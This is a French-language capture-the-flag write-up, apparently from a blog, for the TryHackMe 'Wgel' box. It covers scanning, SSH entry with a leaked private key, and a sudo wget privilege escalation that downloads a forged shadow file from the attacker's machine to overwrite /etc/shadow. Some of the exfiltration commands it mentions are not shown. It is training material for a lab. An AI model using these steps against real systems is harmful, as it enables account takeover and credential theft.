Categories
Challenges THM

Wgel CTF

Can you exfiltrate the root flag?

Have fun with this easy box.

Tryhackme, Easy

Reconnaissance

Comme d’habitude sur TryHackMe, l’adresse IP cible nous est donnée dans l’énoncé du challenge. Je peux donc directement passer à la phase de reconnaissance active sur l’adresse IP en question :

nmap -sC -sV -p- -T4 [target]

J’observe que les services HTTP et SSH sur leurs ports respectifs sont ouverts. Voyons voir ce que contient déjà la page web qui est souvent la partie la plus intéressante dans ces challenges.

Je retrouve une page Apache par défaut qui m’indique que le site est toujours en cours de construction et n’a pas été finalisé. Au plus simple, voyons voir ce que contient le code source de la page qui peut parfois révéler des informations utiles pour la suite.

Voilà, caché dans le code source du site, un nom, “Jessie” à qui il est demandé de ne pas oublier de mettre à jour le site.

Énumération

Je passe ensuite à la phase d’énumération pour essayer de découvrir l’ensemble des pages contenues sur le site :

dirb "http://[target]" [chemin_dictionnaire_choisi]

J’y observe un sous-dossier intéressant qui n’est pas censé être publique, découvrons ce qu’il contient :

Il y contient une clé privée, c’est de bonne augure pour se connecter en SSH au serveur cible. Je copie-colle la clé dans un fichier ‘id_rsa’ sur ma propre machine ainsi que des droits root pour ne pas invalider la clé sinon il me sera indiqué qu’elle n’est pas valable puisque ses droits ne sont pas assez restreints.

Exploitation

Je peux maintenant tester de me connecter en SSH avec cette clé :

ssh -i [fichier_clé_privée] [username]@[target]

Rien ne passe avec les noms d’utilisateur par défaut… Mais si je me rappelle bien de ce que j’ai découvert dans le code source de la page par défaut, c’est une certaine “Jessie” qui est censé mettre à jour le site web.

C’est donc bien Jessie qui a laissé sa clé privée à la portée de tous me permettant de me connecter au serveur avec son compte. Je peux ainsi récupérer le “flag” utilisateur demandé par TryHackMe :

Élévation de privilèges

Maintenant que c’est fait, il faut désormais que je réussisse à élever mes privilèges afin de récupérer le “flag” administrateur (root). Pour cela, ce qui devrait être le premier réflexe, c’est de vérifier les droits de Jessie sur la machine, que peut-elle lancer avec “sudo” lui accordant les droits administrateur le temps de la commande et de le tourner à notre avantage pour avoir un accès permanent à ce compte administrateur :

sudo -l

Je me rends compte que Jessie peut lancer la commande “wget” avec les privilèges administrateur sans avoir besoin du mot de passe.

Après moults recherches , je finis par tomber sur cet article qui explique comment utiliser cette situation pour avoir accès au compte “root” : https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/sudo-wget-privilege-escalation

En suivant sa procédure dans notre contexte :

Récupérer le contenu du /etc/shadow :

Dans un nouvel onglet :

Ensuite sur la machine attaquée :

Je récupère bien le fichier shadow sur ma propre machine.

Création d’un nouveau fichier shadow
nano shadow.txt
Créer un nouveau mot de passe root et l’inclure au fichier
openssl passwd -6 -salt 'salt' 'password'
Transfère du fichier pour remplacer l’ancien shadow

Sur la machine attaquante :

python3 -m http.server 8000

Sur la machine cible :

sudo wget http://[IP_machine_atk]:8000/shadow.txt -O /etc/shadow

Cette commande remplacera le /etc/shadow avec le nouveau que nous avons construit puisque le “-O” permet de copier le contenu et l’écrire dans le fichier spécifié :

L’élévation de privilèges est un succès, j’ai pu récupérer le fichier flag de l’administrateur.

Leave a Reply

Your email address will not be published. Required fields are marked *